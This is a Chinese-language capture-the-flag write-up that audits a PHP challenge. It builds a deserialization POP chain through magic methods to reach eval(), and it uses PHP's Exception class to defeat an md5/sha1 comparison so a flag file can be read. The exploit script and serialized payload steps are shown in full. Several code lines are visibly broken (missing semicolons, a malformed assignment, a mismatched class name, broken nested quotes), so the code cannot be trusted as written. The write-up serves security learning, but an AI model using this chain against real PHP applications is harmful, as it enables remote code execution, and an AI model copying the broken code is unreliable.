访问靶机环境,得到一段php代码。
对这段php代码进行审计
<?php
highlight_file(__FILE__);
class Jack
{
private $action; //定义了一个私有的属性 只能类内部访问
function __set($a,$b) //魔术函数 当向一个不存在的属性或者私有属性写入数据的时候 会触发这个函数
{
$b->$a();
}
}
class Love {
public $var
function __call($a,$b) //魔术函数 在对象的中访问不可访问的方法时触发
{
$rose=$this->var;
call_user_func($rose);
}
private function action(){
echo 'jack love rose';
}
}
class Tiranic{
public $people;
public $ship;
function __destruct(){ //当对象被销毁时触发
$this->people->action->=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){ //当对象被当作函数调用时触发
if (($this->var1 != $this->var2) &&(md5($this->var1) === md5($this->var2)) && (sha1($this->var1)===sha1($this->var2)) ){
eval($this->var1);
}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
首先整体来看 最后存在一个反序列化的点且 传入的参数可控所以可以判断这里存在一个反序列化的漏洞。还有就是34行代码当中存在一个任意命令执行,但是加了一个条件判断。
综合题目的源码,需要对根据其机制让其执行对应的魔术函数,绕过33行的判断,让其执行文件读取的命令,读取对应的flag文件。最后对前面构造的代码进行序列化处理得到payload然后用get提交的方式传给love参数,得到flag。
exp
<?php
highlight_file(__file__);
class Jack
{
private $action
}
class Love{
public $var;
}
class Titanic{
public $people;
public $ship;
}
class Rose{
public $var1;
public $var2;
}
$j=new Jack();
$l=new Love();
$t=new Titanic();
$r=new Rose();
$str='highlight_file('/flag');?>'; //需要执行的读取flag文件的命令
$var1=new Exception($str,1);$var2=new Exception($str,2);
$r->var1=$var1;
$r->var2=$var2;
$l->var=$r;
$t->people=$j;
$t->ship=$l;
echo urlencode(serialize($t));
?>
23行利用php当中的原生类,绕过了哈希比较,通过这样处理得到的哈希值是一样的
运行exp得到payload
将payload用传统给love参数然后用get方法提交得到flag
得到最后的flag了 接下来对exp的编写进行进一步的解析。
关键点绕过它的这一段验证两个变量的哈希 使得var1 的md5 和sha1 跟var2的md5 sha1相等,
执行后续的任意命令执行
在php当中绕过哈希验证用到了一个php的原生类 Exception
如下图所示:通过Exception类得到 var1 var2 仅存在两点不同,一个是最前面的参数不同,另一个是两个变量所处的行数不同。那么当我们将两个变量的参数写成一致,且处于同一行的时候,得到的两个变量就完全相同。
修改之后 得到完全相同的两个字符串,那么根据其计算的md5 和sha1也是完全相同的,就满足了判断,可以正常执行任意代码
接下来需要去分析代码 使其触发最后的rose类当中的__invoke魔术函数执行最后的任意代码
调用过程总结下来为:Titanic::__destruct ---> Jack::__set ---> Love::__call ---> Rose::__invoke
首先从最容易触发的__destruct魔术函数开始,当对象被销毁时该函数被调用, Titanic 类中对象的属性 action 被赋值 $this->ship然后将这个两个分别
传给Jack类,jack类中定义了一个私有属性当向其中写入数据时__set魔术函数被触发 。触发后a为b对象的一个方法,这个方法在类中不能访问紧接着触发
love类中的__call魔术函数,其中的call_user_func()是一个回调函数,经过此函数rose这个对象会被当成函数调用,就会触发__invoke()方法,然后按照之前的进行绕过就可以执行任意命令了。
总结一下反序列化漏洞的利用:从序列化这个点和其参数可控入手,然后开始寻找其中的php危险函数(eval任意命令执行,上传下载等函数) ,然后寻找其中的魔术函数,构造一个pop链使其能触发php的危险函数,然后将其进行反序列处理,再进行url编码,然后按照源码的参数传递方式提交参数即可完成这个漏洞的完整利用。